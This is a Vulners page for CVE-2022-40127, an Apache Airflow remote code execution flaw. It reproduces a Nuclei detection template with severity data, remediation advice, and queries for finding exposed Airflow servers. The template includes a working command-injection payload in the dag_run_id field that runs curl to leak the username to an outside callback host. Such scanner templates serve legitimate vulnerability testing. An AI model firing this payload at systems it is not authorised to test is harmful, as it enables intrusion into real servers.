| Reporter | Title | Published | Views | Family All 23 |
|---|---|---|---|---|
| Exploit for Code Injection in Apache Airflow | 21 Jul 202312:55 | – | githubexploit | |
| Exploit for Code Injection in Apache Airflow | 21 Jul 202312:55 | – | githubexploit | |
| The vulnerability of the run_id parameter in the Example Dags function of the Airflow software for data processing tasks allows a attacker to execute arbitrary commands. | 25 Nov 202200:00 | – | bdu_fstec | |
| CVE-2022-40127 | 19 Nov 202213:07 | – | circl | |
| Apache Airflow 代码注入漏洞 | 14 Nov 202200:00 | – | cnnvd | |
| Apache Airflow code injection vulnerability | 17 Nov 202200:00 | – | cnvd | |
| CVE-2022-40127 | 14 Nov 202200:00 | – | cve | |
| CVE-2022-40127 Apache Airflow <2.4.0 has an RCE in a bash example | 14 Nov 202200:00 | – | cvelist | |
| Apache Airflow vulnerable to OS Command Injection via example DAGs | 14 Nov 202212:00 | – | github | |
| Internet Bug Bounty: CVE-2022-40127: RCE in Apache Airflow <2.4.0 bash example | 17 Nov 202200:43 | – | hackerone |
id: CVE-2022-40127
info:
name: AirFlow < 2.4.0 - Remote Code Execution
author: DhiyaneshDk,ritikchaddha
severity: high
description: |
A vulnerability in Example Dags of Apache Airflow allows an attacker with UI access who can trigger DAGs, to execute arbitrary commands via manually provided run_id parameter. This issue affects Apache Airflow Apache Airflow versions prior to 2.4.0.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
remediation: |
Upgrade AirFlow to version 2.4.0 or later to mitigate this vulnerability.
reference:
- https://github.com/Mr-xn/CVE-2022-40127
- https://nvd.nist.gov/vuln/detail/CVE-2022-40127
- http://www.openwall.com/lists/oss-security/2022/11/14/2
- https://github.com/apache/airflow/pull/25960
- https://lists.apache.org/thread/cf132hgm6jvzvsbpsozl3plf1r4cwysy
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2022-40127
cwe-id: CWE-94
epss-score: 0.85653
epss-percentile: 0.99696
cpe: cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: apache
product: airflow
shodan-query:
- title:"Sign In - Airflow"
- http.title:"airflow - dags" || http.html:"apache airflow"
- http.title:"sign in - airflow"
- product:"redis"
fofa-query:
- title="sign in - airflow"
- apache airflow
- title="airflow - dags" || http.html:"apache airflow"
google-query:
- intitle:"sign in - airflow"
- intitle:"airflow - dags" || http.html:"apache airflow"
tags: cve,cve2022,airflow,rce,oast,authenticated,apache,vuln
http:
- raw:
- |
GET /login/ HTTP/1.1
Host: {{Hostname}}
- |
POST /login/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}}&_csrf_token={{csrf_token}}
- |
@timeout: 15s
POST /api/v1/dags/example_bash_operator/dagRuns HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"conf": {
"dag_run": "{{randstr}}"
},
"dag_run_id": "id \"&& curl `whoami`.{{interactsh-url}}",
"logical_date": "{{date_time("%Y-%M-%D")}}T{{date_time("%H:%m:%s")}}.920Z"
}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'state": "queued"'
- type: word
part: interactsh_protocol
words:
- dns
- type: status
status:
- 200
extractors:
- type: regex
name: csrf_token
group: 1
regex:
- 'type="hidden" value="(.*?)">'
internal: true
# digest: 490a0046304402202c7f0faa30bf2db17e8f2436370203324760625c2248c0336a791d4a313d54cb0220466557a5037549592af63d5e0bd8dcabde5a9b1e7604a125c3e69205c2caf509:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation